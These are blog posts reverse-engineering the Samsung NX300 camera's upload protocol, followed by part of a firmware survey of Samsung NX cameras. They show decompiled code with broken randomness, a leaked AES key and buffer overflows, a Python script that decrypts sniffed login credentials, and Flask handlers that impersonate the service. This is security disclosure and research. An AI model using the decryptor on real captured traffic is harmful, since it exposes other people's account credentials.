We will load both smart-wifi-app-nx300 and in Ghidra and use its pretty good decompiler to get an understanding of the code. The following code snippets are based on the decompiler output, edited for better understanding and brevity (error checks and debug outputs are stripped).

Processing the login credentials

When trying the upload for the first time, the camera will pop up a credentials dialog to get the username and password for the specific service:

Screenshot of the NX login dialog

Internally, the plain-text credentials and social network name are stored for later processing in a global struct gWeb, the layout of which is not known. The field names and sizes of gWeb fields in the following code blocks are based on correlating debug prints and memset() size arguments, and need to be taken with a grain of salt.

The actual auth request is prepared by the WebLogin function, which will resolve the numeric site ID into the site name (e.g. "facebook" or "kakaostory"), get the appropriate server name ("" or a regional endpoint like for North America), and call into WebMakeLoginData() to encrypt the login credentials and eventually to create a HTTP POST payload:

bool WebMakeLoginData(char *out_http_request,int site_idx) {
    /* snip quite a bunch of boring code */
    switch (WebCheckSNSGatewayLocation(site_idx)) {
    case /*0*/ LOCATION_EUROPE:
        host = ""; break;
    case /*1*/ LOCATION_USA:
        host = ""; break;
    case /*2*/ LOCATION_CHINA:
        host = ""; break;
    case /*3*/ LOCATION_SINGAPORE:
        host = ""; break;
    case 4 /* unsure, maybe staging? */:
        host = ""; break;
    default: /* Asia? */
        host = ""; break;
    Web_Get_Duid(); /* calculate device unique identifier into gWeb.duid */
    Web_Get_Encrypted_Id(); /* encrypt user id into gWeb.enc_id */
    Web_Get_Encrypted_Pw(); /* encrypt password into gWeb.enc_pw */
    Web_Get_Camera_CryptKey(); /* encrypt keyspec into gWeb.encrypted_session_key */
    if (site_idx == /*5*/ SITE_SAMSUNGIMAGING || site_idx == /*6*/ SITE_CYWORLD) {
    } else if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip HTTP POST with unencrypted credentials to */
    } else {
        /* snip and postpone HTTP POST with XML payload to */

From there, Web_Encrypt_Init() is called to reset the gWeb fields, to obtain a new (symmetric) encryption key, and to encrypt the application_key:

bool Web_Encrypt_Init(void) {
    char buffer[128];


We remember the very interesting generateKeySpec() and dataEncrypt() functions for later analysis.

WebMakeLoginData() also calls Web_Get_Encrypted_Id() and Web_Get_Encrypted_Pw() to obtain the encrypted (and base64-encoded) username and password. Those follow the same logic of dataEncrypt() plus URLEncode() to store the encrypted values in respective fields in gWeb as well.

bool Web_Get_Encrypted_Pw() {
    char buffer[128];

Interestingly, we are using a 128-byte intermediate buffer for the encryption result, and URL-encoding it into a 64-byte destination field. However, gWeb.password is only 32 bytes, so we are hopefully safe here. Nevertheless, there are no range checks in the code.

Finally, it calls Web_Get_Camera_CryptKey() to RSA-encrypt the generated keyspec and to store it in gWeb.encrypted_session_key. The actual encryption is done by encryptSessionKey(&gWeb.encrypted_session_key,gWeb.keyspec) which we should also look into.

Generating the secret key: generateKeySpec()

That function is as straight-forward as can be, it requests two blocks of random data into a 32-byte array and returns the base-64 encoded result:

int generateKeySpec(char **out_keyspec) {
    char rnd_buffer[32];
    int result;
    char *rnd1 = _secureRandom(&result);
    char *rnd2 = _secureRandom(&result);
    memcpy(rnd_buffer, rnd1, 16);
    memcpy(rnd_buffer+16, rnd2, 16);
    char *b64_buf = String_base64Encode(rnd_buffer,32,&result);
    *out_keyspec = b64_buf;

(In)secure random number generation: _secureRandom()

It's still worth looking into the source of randomness that we are using, which hopefully should be /dev/random or at least /dev/urandom, even on an ancient Linux system:

char *_secureRandom(int *result)
    char *target = String_new(20,result);
    target = _sha1_byte(target,result);
    return target;

WAIT WHAT?! Say that again, slowly! You are initializing the libc pseudo-random number generator with the current time, with one-second granularity, then getting a "random" number from it somewhere between 0 and RAND_MAX = 2147483647, then printing it into a string and calculating a 20-byte SHA1 sum of it?!?!?!

Apparently, the Samsung engineers never heard of the Debian OpenSSL random number generator, or they considered imitating it a good idea?

The entropy of this function depends only on how badly the user maintains the camera's clock, and can be expected to be about six bits (you can only set minutes, not seconds, in the camera), instead of the 128 bits required.

Calling this function twice in a row will almost always produce the same insecure block of data.

The function name _sha1_byte() is confusing as well, why is it a singular byte, and why is there no length parameter?

char *_sha1_byte(char *buffer, int *result) {
    int len = strlen(buffer);
    char *shabuf = malloc(20);
    int hash_len = 20;
    return shabuf;

That looks plausible, right? We just assume that buffer is a NUL-terminated string (the string we pass from _secureRandom() is one), and then we... don't pass it into the SecCrHash() function? We only pass the virgin 20-byte target array to write the hash into? The hash of what?

int SecCrHash(void *dst, int *out_len) {
    char buf [20];
    *out_len = 20;
    memcpy(dst, buf, *out_len);
    return 0;

It turns out, the SecCrHash function (secure cryptographic hash?) is not hashing anything, and it's not processing any input, it's just copying 20 bytes of uninitialized data from the stack to the destination buffer. So instead of returning an obfuscated timestamp, we are returning some (even more deterministic) data that previous function calls worked with.

Well, from an attacker point of view, this actually makes cracking the key (slightly) harder, as we can't just fuzz around the current time, we need to actually get an understanding of the calls happening before that and see what kind of data they can leave on the stack.

SPOILER: No, we don't have to. Samsung helpfully leaked the symmetric encryption key for us. But let's still finish this arc and see what else we can find. Skip to the encryption key leak.

Encrypting values: dataEncrypt()

The secure key material in gWeb.keyspec is passed to dataEncrypt() to actually encrypt strings:

int dataEncrypt(char **out_enc_b64, char *message, char *key_b64) {
    int result;
    char *keyspec;
    char key[16];
    char iv[16];
    memcpy(key, keyspec, 16);
    memcpy(iv, keyspec+16, 16);
    return _aesEncrypt(message, key, iv, &result);

char *_aesEncrypt(char *message, char *key, char *iv, int *result) {
    int bufsize = (strlen(message) + 15) & ~15; /* round up to block size */
    char *enc_data = malloc(bufsize);
    char *ret_buf = String_base64Encode(enc_data,bufsize,result);
    return ret_buf;

The _aesEncrypt() function is calling SecCrEncryptBlock() and base-64-encoding the result. From SecCrEncryptBlock() we have calls into NAT_CipherInit() and NAT_CipherUpdate() that are initializing a cipher context, copying key material, and passing all calls through function pointers in the cipher context, but it all boils down to doing standard AES-CBC, with the first half of keyspec used as the encryption key, and the second half as the IV, and the (initial) IV being the same for all dataEncrypt() calls.

The prefixes SecCr and NAT imply that some crypto library is in use, but there are no obvious results on google or github, and the function names are mostly self-explanatory.

Encrypting the secret key: encryptSessionKey()

This function will decode the base64-encoded 32-byte keyspec, and encrypt it with a hard-coded RSA key:

int encryptSessionKey(char **out_rsa_enc,char *keyspec)

  int result;
  char *keyspec_raw;
  int keyspec_raw_len = String_base64Decode(keyspec,&keyspec_raw,&result);
  char *dst = _rsaEncrypt(keyspec_raw,keyspec_raw_len,
  *out_rsa_enc = dst;

The _rsaEncrypt() function is using the BigDigits multiple-precision arithmetic library to add PCKS#1 v1.5 padding to the keyspec, encrypt it with the supplied m and e values, and return the encrypted value. The result is a long hex number string like the one we can see in the <Request/> PCAP above.

Completing the HTTP POST: WebMakeLoginData() contd.

Now that we have all the cryptographic ingredients together, we can return to actually crafting the HTTP request.

There are three different code paths taken by WebMakeLoginData(). One into WebMakeDataWithOAuth() for the samsungimaging and cyworld sites, one creating a x-www-form-urlencoded HTTP POST to, and one creating the XML <Request/> we've seen in the packet trace for all other social networks. Given the obscurity of the first three networks, we'll focus on the last code path:

WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
                "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\"",
if (site_idx != /*34*/ SITE_SKYDRIVE) {
    WebString_Add_fmt(body,"%s%s%s","<UserName Value=\"",gWeb.enc_id,"\"/>\r\n");
    WebString_Add_fmt(body,"%s%s%s","<Password Value=\"",gWeb.enc_pw,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s%s","<PersistKey Use=\"true\"/>\r\n",duid,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s","<SessionKey Type=\"APIF\"/>","\r\n");
WebString_Add_fmt(body,"%s%s%s","<CryptSessionKey Use=\"true\" Type=\"SHA1\" Value=\"",
WebString_Add_fmt(body,"%s%s%s","<ApplicationKey Value=\"",gWeb.application_key,
body_len = strlen(body);
WebString_Add_fmt(header,"%s%s%s%s","POST /",,"/auth HTTP/1.1","\r\n");
WebString_Add_fmt(header,"%s%s%s","Host: ",host,"\r\n");
WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
WebAddString(out_http_request, header);
WebAddString(out_http_request, body);

Okay, so generating XML via a fancy sprintf() has been frowned upon for a long time. However, if done correctly, and if there is no attacker-controlled input with escape characters, this can be an acceptable approach.

In our case, the duid is surrounded by closing tags due to an obvious programmer error, but beyond that, all parameters are properly controlled by encoding them in hex, in base64, or in URL-encoded base64.

We are transmitting the RSA-encrypted session key (as CameraCryptKey), the AES-encrypted username and password (except when uploading to SkyDrive), the duid (outside of a valid XML element), the application_key that we encrypted earlier (but we are sending the unencrypted variable) and the keyspec in the CryptSessionKey element.

The keyspec? Isn't that the secret AES key? Well yes it is. All that RSA code turns out to be a red herring, we get the encryption key on a silver plate!

Decrypting the sniffed login credentials

Can it be that easy? Here's a minimal proof-of-concept in python:

#!/usr/bin/env python3

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from base64 import b64decode
from urllib.parse import unquote
import xml.etree.ElementTree as ET
import sys

def decrypt_string(key, s):
    d = Cipher(algorithms.AES(key[0:16]), modes.CBC(key[16:])).decryptor()
    plaintext = d.update(s)
    return plaintext.decode('utf-8').rstrip('\0')

def decrypt_credentials(xml):
    x_csk = xml.find("CryptSessionKey")
    x_user = xml.find("UserName")
    x_pw = xml.find("Password")

    key = b64decode(x_csk.attrib['Value'])
    enc_user = b64decode(unquote(x_user.attrib['Value']))
    enc_pw = b64decode(unquote(x_pw.attrib['Value']))

    return (key, decrypt_string(key, enc_user), decrypt_string(key, enc_pw))

def decrypt_file(fn):
    key, user, pw = decrypt_credentials(ET.parse(fn).getroot())
    print('User:', user, 'Password:', pw)

for fn in sys.argv[1:]:

If we pass the earlier <Request/> XML to this script, we get this:

User: x Password: z

Looks like somebody couldn't be bothered to touch-tap-type long values.

Now we also can see what kind of garbage stack data is used as the encryption keys.

On the NX300, the results confirm our analysis, this looks very much like stack garbage, with minor variations between _secureRandom() calls:

00000000: ffff ffff f407 a5b6 5201 0000 fc03 aeb6  ........R.......
00000010: ffff ffff 4872 0fb6 5201 0000 0060 0fb6  ....Hr..R....`..

00000000: ffff ffff f487 9ab6 5201 0000 fc83 a3b6  ........R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

00000000: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......
00000010: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......

00000000: ffff ffff f4a7 9ab6 5201 0000 fca3 a3b6  ........R.......
00000010: ffff ffff 4812 05b6 5201 0000 0000 05b6  ....H...R.......

00000000: ffff ffff f4b7 99b6 5201 0000 fcb3 a2b6  ........R.......
00000010: ffff ffff 4822 04b6 5201 0000 0010 04b6  ....H"..R.......

00000000: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

On the NX mini, the data looks much more random, but consistently key==iv - suggesting that it is actually a sort of sha1(rand()):

00000000: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......
00000010: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......

00000000: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...
00000010: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...

00000000: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....
00000010: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....

00000000: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..
00000010: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..

00000000: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)
00000010: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)

00000000: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z
00000010: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z

Social media login response

The HTTP POST request is passed to WebOperateLogin() which will create a TCP socket to port 80 of the target host, send the request and receive the response into a 2KB buffer:

bool WebOperateLogin(int sock_idx,char *buf,ulong site_idx) {
    int buflen = strlen(buf);
    rx_buf = malloc(2048);
    int rx_size = ReceiveTCPProcess(sock_idx,rx_buf,300);
    bool login_result = WebCheckLogin(rx_buf,site_idx);

The TCP process (actually just a pthread) will clear the buffer and read up to 2047 bytes, ensuring a NUL-terminated result. The response is then "parsed" to extract success / failure flags.

Parsing the login response: WebCheckLogin()

The HTTP response (header plus body) is then searched for certain "XML" "fields" to parse out relevant data:

bool WebCheckLogin(char *buf,int site_idx) {
    char value[512];
    if (GetXmlString(buf,"ErrCode",value)) {
        strcpy(gWeb.ErrCode,value); /* gWeb.ErrCode is 16 bytes */
        if (!GetXmlString(buf, "ErrSubCode",value))
            return false;
        strcpy(gWeb.SubErrCode,value); /* gWeb.SubErrCode is also 16 bytes */
        return false;
    if (!GetXmlString(buf,"Response SessionKey",value))
        return false;
    strcpy(gWeb.response_session_key,value); /* ... 64 bytes */
    if (!GetXmlString(buf,"PersistKey Value",value))
        return false;
    strcpy(gWeb.persist_key,value); /* ... 64 bytes */
    if (!GetXmlString(buf,"CryptSessionKey Value",value))
        return false;
    strcpy(gWeb.keyspec,value); /* ... 64 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        strcpy(gWeb.LoginPeopleID, "owner");
    } else {
        if (!GetXmlString(buf,"LoginPeopleID",value)) {
            return false;
    strcpy(gWeb.LoginPeopleID,value); /* ... 128 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        if (!GetXmlString(buf,"OAuth URL",value))
            return false;
    return true;

The GetXmlString() function is actually quite a euphemism. It does not actually parse XML. Instead, it's searching for the first verbatim occurence of the passed field name, including the verbatim whitespace, checking that it's followed by a colon or an equal sign, and then copying everything from the quotes behind that into out_value. It does not check the buffer bounds, and doesn't ensure NUL-termination, so the caller has to clear the buffer each time (which it doesn't do consistently):

bool GetXmlString(char *xml,char *field,char *out_value) {
    char *position = strstr(xml, field);
    if (!position)
        return false;
    int field_len = strlen(field);
    char *field_end = position + field_len;
    /* snip some decompile that _probably_ checks for a '="' or ':"' postfix at field_end */
    char *value_begin = position + fieldlen + 2;
    char *value_end = strstr(value_begin,"\"");
    if (!value_end)
        return false;
    memcpy(out_value, value_begin, value_end - value_begin);
    return true;

Given that the XML buffer is 2047 bytes controlled by the attacker server operator, and value is a 512-byte buffer on the stack, this calls for some happy smashing!

The ErrCode and ErrSubCode are passed to the UI application, and probably processed according to some look-up tables / error code tables, which are subject to reverse engineering by somebody else. Valid error codes seem to be: 4019 ("invalid grant" from kakaostory), 8001, 9001, 9104.

Logging out

The auth endpoint is also used for logging out from the camera (this feature is well-hidden, you need to switch the camera to "Wi-Fi" mode, enter the respective social network, and then press the 🗑 trash-bin key):

<Request Method="logout" SessionKey="pmlyFu8MJfAVs8ijyMli" CryptKey="ca02890e42c48943acdba4e782f8ac1f20caa249">

Writing a minimal auth handler

For the positive case, a few elements need to be present in the response XML. A valid example for that is response-login.xml:

<Response SessionKey="{{ sessionkey }}">
<PersistKey Value="{{ persistkey }}"/>
<CryptSessionKey Value="{{ cryptsessionkey }}"/>
<LoginPeopleID="{{ screenname }}"/>
<OAuth URL=""/>

The camera will persist the SessionKey value and pass it to later requests. Also it will remember the user as "logged in" and skip the /auth/ endpoint in the future. It is unclear yet how to reset that state from the API side to allow a new login (maybe it needs the right ErrCode value?)

A negative response would go along these lines:

<Response ErrCode="{{ errcode }}" ErrSubCode="{{ errsubcode }}" />

And here is the respective Flask handler PoC:

@app.route('/<string:site>/auth',methods = ['POST'])
def auth(site):
    xml = ET.fromstring(request.get_data())
    method = xml.attrib["Method"]
    if method == 'logout':
        return "Logged out for real!"
    keyspec, user, password = decrypt_credentials(xml)
    # TODO: check credentials
    return render_template('response-login.xml',
        screenname="Samsung NX Lover")

Uploading pictures

After a successful login, the camera will actually start uploading files with WebUploadImage(). For each file, either the /facebook/photo or the /facebook/video endpoint is called with another XML request, followed by a HTTP PUT of the actual content.

bool WebUploadImage(int ui_ctx,int site_idx,int picType) {
    if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip very long block handling kakaostory */
        return true;
    /* iterate over all files selected for upload */
    for (int i = 0; i < gWeb.selected_count; i++) {
        gWeb.file_path = upload_file_names[i];
        gWeb.index = i+1;
        char *buf = malloc(2048);
    return true;

Upload request: WebOperateMetaDataUpload()

The image matadata is prepared by WebMakeUploadingMetaData() and sent by WebOperateMetaDataUpload(). The (user-editable) facebook folder name is properly XML-escaped:

bool WebMakeUploadingMetaData(char *out_http_request,int site_idx) {
    /* snip hostname selection similar to WebMakeLoginData */
    if (strstr(gWeb.file_path, "JPG") != NULL) {
        /* "authenticate" the request by SHA1'ing some static secrets */
        char header_for_sig[256];
        char *crypt_key = sha1str(header_for_sig);
        body = WebMalloc(2048);
        WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
                "<Request Method=\"upload\" Timeout=\"3000\" SessionKey=\"",
                gWeb.response_session_key,"\" CryptKey=\"",crypt_key,"\">\r\n");
        if (site_idx == /*1*/ SITE_FACEBOOK) {
            char *folder = xml_escape(gWeb.facebook_folder);
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"",folder,"\"/>\r\n");
        } else
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"","Samsung Smart Camera","\"/>\r\n");
        WebString_Add_fmt(body,"%s%s%s%s","<File Name=\"",gWeb.file_name,"\"/>","\r\n")
        if (site_idx != /*9*/ SITE_WEIBO) {

        body_len = strlen(body);
        WebString_Add_fmt(header,"%s%s%s%s","POST /",,"/photo HTTP/1.1","\r\n");
        WebString_Add_fmt(header,"%s%s%s","Host: ",hostname,"\r\n");
        WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
        WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
        WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
        return true;
    if (strstr(gWeb.file_path, "MP4") != NULL) {
        /* analogous to picture upload, but for video */
    } else
        return false; /* wrong file type */

bool WebOperateMetaDataUpload(int site_idx,int sock_idx,char *buf) {
    /* snip hostname selection similar to WebMakeLoginData */
    bool result = WebSocketConnect(sock_idx,hostname,80);
    if (result) {
        response = malloc(2048);
        return WebCheckRequest(response);
    return false;

The generated XML looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<Request Method="upload" Timeout="3000" SessionKey="deadbeef" CryptKey="4f69e3590858b5026508b241612a140e2e60042b">
<Album ID="" Name="Samsung Smart Camera"/>
<File Name="SAM_9838.JPG"/>
<Content><![CDATA[Upload test message.]]></Content>

Upload response: WebCheckRequest()

The server response is checked by WebCheckRequest():

bool WebCheckRequest(char *xml) {
    /* check for HTTP 200 OK, populate ErrCode and ErrSubCode on error */
    if (!GetXmlResult(xml))
        return false;
    memset(web->HostAddr,0,64); /* 64 byte buffer */
    memset(web->ResourceID,0,128); /* 128 byte buffer */
    return true;

Thus the server needs to return an (arbitrary) XML element that has the two attributes HostAddr and ResourceID, which are stored in the gWeb struct for later use. As always, there are no range checks (but those fields are in the middle of the struct, so maybe not the best place to smash.

Actual media upload: WebOperateUpload()

The code is pretty straight-forward, it creates a buffer with the (downscaled or original) media file, makes a HTTP PUT request to the host and resource obtained earlier, and submits that to the server:

bool WebOperateUpload(int sock_idx,ulong picType) {
    char hostname[128];
    WebParseIP(gWeb.HostAddr,hostname); /* not required to be an IP */
    int port = WebParsePort(web->HostAddr);
    if (!WebSocketConnect(sock_idx,hostname,port))
        return false;
    char *file_buffer;
    int file_size;
    char *request = WebMalloc(2048);
    if (WebUploadingData(sock_idx,request,file_buffer_ptr,file_size)) {
        if (strstr(gWeb.file_path,"JPG") || strstr(gWeb.file_path, "MP4"))

bool WebMakeUploadingData(char *out_http_request,char **file_buffer_ptr,int *file_size_ptr,ulong picType) {
    request = WebMalloc(512);
    if (strstr(gWeb.file_path,"JPG")) {
        /* scale down or send original image */
        if (picType == 0) {
            int megapixels = 2;
            if (strcmp(, "facebook") == 0)
                megapixels = 1;
        } else
    } else if (strstr(gWeb.file_path,"MP4")) {
    WebString_Add_fmt(request,"%s%s%s%s","PUT /",gWeb.ResourceID," HTTP/1.1","\r\n");
    if (strstr(gWeb.file_path,"JPG")) {
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    } else if (strstr(gWeb.file_path,"MP4")) {
        /* copy-paste-fail? should be video... */
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    WebString_Add_fmt(request,"%s%d%s","Content-Length: ",*file_size_ptr,"\r\n");
    WebString_Add_fmt(request,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
    WebString_Add_fmt(request,"%s%d/%d%s","Content-Range: bytes 0-",*file_size_ptr - 1,
    WebString_Add_fmt(request,"%s%s%s","Host: ",gWeb.HostAddr,"\r\n\r\n");

The actual upload function WebUploadingData() is operating in a straight-forward way, it will send the request buffer and the file buffer, and check for a HTTP 200 OK response or for the presence of ErrCode and ErrSubCode.

Writing an upload handler

We need to implement a /<site>/photo handler that returns an (arbitrary) upload path and a PUT handler that will process files on that path.

The upload path will be served using this XML (the hostname is hardcoded because we already had to hijack the snsgw hostname anyway):

<Response HostAddr="" ResourceID="upload/{{ sessionkey }}/{{ filename }}" />

Then we have the two API endpoints:

@app.route('/<string:site>/photo',methods = ['POST'])
def photo(site):
    xml = ET.fromstring(request.get_data())
    # TODO: check session key
    sessionkey = xml.attrib["SessionKey"]
    photo = xml.find("Photo")
    filename = photo.find("File").attrib["Name"]
    # we just pass the sessionkey into the upload URL
    return render_template('response-upload.xml', sessionkey, filename)

@app.route('/upload/<string:sessionkey>/<string:filename>', methods = ['PUT'])
def upload(sessionkey, filename):
    d = request.get_data()
    # TODO: check session key
    store = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(sessionkey))
    os.makedirs(store, exist_ok = True)
    fn = os.path.join(store, secure_filename(filename))
    with open(fn, "wb") as f:
    return "Success!"


Samsung implemented this service back in 2009, when mandatory SSL (or TLS) wasn't a thing yet. They showed intent of properly securing users' credentials by applying state-of-the-art symmetric and asymmetric encryption instead. However, the insecure (commented out?) random key generation algorithm was not suitable for the task, and even if it were, the secret key was provided as part of the message anyway. A passive attacker listening on the traffic between Samsung cameras and their API servers was able to obtain the AES key and thus decrypt the user credentials.

In this post, we have analyzed the client-side code of the NX300 camera, and re-created the APIs as part of the samsung-nx-emailservice project.

Discuss on Mastodon

Posted 2023-12-01 17:02 Tags: net

Many years ago, in the summer of 2014, I fell into the rabbit hole of the Samsung NX(300) mirrorless APS-C camera, found out it runs Tizen Linux, analyzed its WiFi connection, got a root shell and looked at adding features.

Next year, Samsung "quickly adapted to market demands" and abandoned the whole NX ecosystem, but I'm still an active user of the NX500 and the NX mini (for infrared photography). A few months ago, I was triggered to find out which respective framework is powering which of the 19(!!!) NX models that Samsung released between 2010 and 2015. The TL;DR results are documented in the Samsung NX model table, and this post contains more than you ever wanted to know, unless you are a Samsung camera engineer.

Hardware Overview

There is a Wikipedia list of all the released NX models that I took as my starting point. The main product line is centered around the NX mount, and the cameras have a "NXnnnn" numbering scheme, with "nnnn" being a number between one and four digits.

In addition, there is the Galaxy NX, which is an Android phone, but also has the NX mount and a DRIM engine DSP. This fascinating half-smartphone half-camera line began in 2012 with the Galaxy Camera and featured a few Android models with zoom lenses and different camera DSPs.

In 2014, Samsung introduced the NX mini with a 1" sensor and the "NX-M" lens mount, sharing much of the architecture with the larger NX models. In 2015, they announced accidentally leaked the NX mini 2, based on the DRIMeV SoC and running Linux, and even submitted it to the FCC, but it never materialized on the market after Samsung "shifted priorities". If you are the janitor in Samsung's R&D offices, and you know where all the NX mini 2 prototypes are locked up, or if you were involved in making them, I'd die to get my hands onto one of them!

Most of the NX cameras are built around different generations of the "DRIM engine" image processor, so it's worth looking at that as well.

The Ukrainian company photo-parts has a rather extensive list of NX model boards, even featuring a few well-made PCB photographs. While their page is quirky, the documentation is excellent and matches my findings. They have documented the DRIMe CPU generation for many, but not for all, NX cameras.

Origins of the DRIM engine

Samsung NV100 (*)

Apparently the first cameras introducing the DRIM engine ("Digital Real Image & Movie Engine") were the NV30/NV40 in 2008. Going through the service manuals of the NV cameras reveals the following:

  • NV30 (the Samsung camera, not the Samsung laptop with the same model number): using the Milbeaut MB91686 image processor introduced in 2006
  • NV40: also using the MB91686
  • NV24: "TWE (MB91043)"
  • NV100 (also called TL34HD in some regions): "DRIM II (MB91043)"

There are also some WB* camera models built around Milbeaut SoCs:

  • WB200, WB250F, WB30F, WB800F: MB91696 (the SoC has "MB91696B" on it, the service manual claims "MB91696AM / M6M2-J"), firmware strings confirm "M6M2J"

This looks like the DRIM engine is a re-branded Milbeaut MB91686, and the DRIM engine II is a MB91043. Unfortunately, nothing public is known about the latter, and it doesn't look like anybody ever talked about this processor model.

Even more unfortunately, I wasn't able to find a (still working) firmware download for any of those cameras.

Firmware Downloads

Luckily, the firmware situation is better for the NX cameras. To find out more about each of them, I visited the respective Samsung support page and downloaded the latest firmware release. For the Android-based cameras however, firmware images are only available through shady "Samsung fan club" sites.

The first classification was provided by the firmware size, as there were distinct buckets. The first generation, NX5, NX10, and NX11 had (unzipped) sizes of ~15MB, the last generation NX1 and NX500 were beyond 350MB.

Googling for respective NX and "DRIM engine" press releases, PCB photos and other related materials helped identifying the specific generation. Sometimes, there were no press releases mentioning the SoC and I had to resort to PCB photos found online or made by myself or other NX enthusiasts.

Further information was obtained by checking the firmware files with strings and binwalk, with the details documented below.

Note: most firmware files contain debug strings and file paths, often mentioning the account name of the respective developer. Personal names of Samsung developers are masked out in this blog post to protect the guilty innocent.

Mirrorless Cameras

DRIMeII: NX10, NX5, NX11, NX100

Samsung NX10 (*)

The first NX camera released by Samsung was the NX10, so let's look into its firmware. The ZIP contains an nx10.bin, and running that through strings -n 20 still yields some 11K unique entries.

There are no matches for "DRIM", but searching for "version", "revision", and "copyright" yields a few red herrings:

* Powered by [redacted] in DSLR team *
* This version apadpter for NX10 (16MB NOR) *
* Ice Updater v 0.025 (Base on FW Updater) *
* Hermes Firmware Version 0.00.001 (hit Enter for debugger prompt)       *
*                COPYRIGHT(c) 2008 SYRI                                  *

It's barely possible to find out the details of those names after over a decade, and we still don't know which OS is powering the CPU.

One hint is provided by the source code reference in the binary: D:\070628_view\NX10_DEV_MAIN\DSLR_PRODUCT\DSP\Project\CSP\..\..\Source\System\CSP\CSP_1.1_Gender\CSP_1.1\uITRON\Include\PCAlarm.h

This seems to be based on a "CSP", and feature "uITRON". The former might be the Samsung Core Software Platform, as identified by the following copyright notice in the firmware file:

Copyright (C) SAMSUNG Electronics Co.,Ltd.
SAMSUNG (R) Core SW Platform 2.0 for CSP 1.1

The latter is µITRON, a Japanese real-time OS specification going back to 1984. So let's assume the first camera generation (everything released in 2010) is powered by µITRON, as NX5, NX10 and NX11 have the same strings in their firmware files.

Samsung NX100 (*)

The NX100 is very similar to the above devices, but its firmware is roughly twice the size, given that it has a 32MB NOR flash (according to the bootloader strings). However, there are only 19MB of non-0x00, non-0xff data, and from comparing the extracted strings no significant new modules could be identified.

None of them identify the DRIM engine generation, but the NX10 service manual labels the CPU as "DSP (DRIMeII Pro)", so probably related to but slightly better than NV100's "DRIM II MB91043". Furthermore, all of these models are documented as "DRIM II" by photo-parts, and there is a well-readable PCB shot of the NX100 saying "DRIM engine IIP".

DRIMeIII: NX200, NX20, NX210, NX1000, NX1100

Samsung NX200 (*)

One year later, in 2011, Samsung released the NX200 powered by DRIM (engine) III. It is followed in 2012 by NX20, NX210, and NX1000/NX1100 (the only difference between the last two is a bundled Adobe Lightroom). The NX20 emphasizes professionalism, and the NX1x00 and NX2x0 stand for compact mobility.

The NX200 firmware also makes a significant leap to 77MB uncompressed, and the following models clock in at around 102MB uncompressed.

Each of the firwmare ZIPs contains two files respectively, named after the model, e.g. nx200.Rom and nx200.bin. Binwalking the Rom doesn't yield anything of value, except roughly a dozen of artistic collage background pictures. strings confirms that it is some sort of filesystem not identified by binwalk (and it contains a classical music compilation, with tracks titled "01_Flohwalzer.mp3" to "20_Spring.mp3", each roughly a minute long, sounding like ringtones from the 2000s)! The pictures and music files can be extracted using PhotoRec.

The bin binwalk yields a few interesting strings though:

8738896       0x855850        Unix path: /opt/windRiver6.6/vxworks-6.6/target/config/comps/src/edrStub.c
10172580      0x9B38A4        Copyright string: "Copyright (C) 2011, Arcsoft Inc."
10275754      0x9CCBAA        Copyright string: "Copyright (c) 2000-2009 by FotoNation. All rights reserved."
10485554      0x9FFF32        Copyright string: "Copyright Wind River Systems, Inc., 1984-2007"
10495200      0xA024E0        VxWorks WIND kernel version "2.11"

So we have identified the OS as Wind River's VwWorks.

A strings inspection of the bin also gives us "ARM DRIMeIII - ARM926E (ARM)" and "DRIMeIII H.264/AVC Encoder", confirming the SoC generation, weird network stuff ("ftp password (pw) (blank = use rsh)"), and even some fancy ASCII art:

     ]]]]]]]]]]]  ]]]]     ]]]]]]]]]]       ]]              ]]]]         (R)
]     ]]]]]]]]]  ]]]]]]     ]]]]]]]]       ]]               ]]]]            
]]     ]]]]]]]  ]]]]]]]]     ]]]]]] ]     ]]                ]]]]            
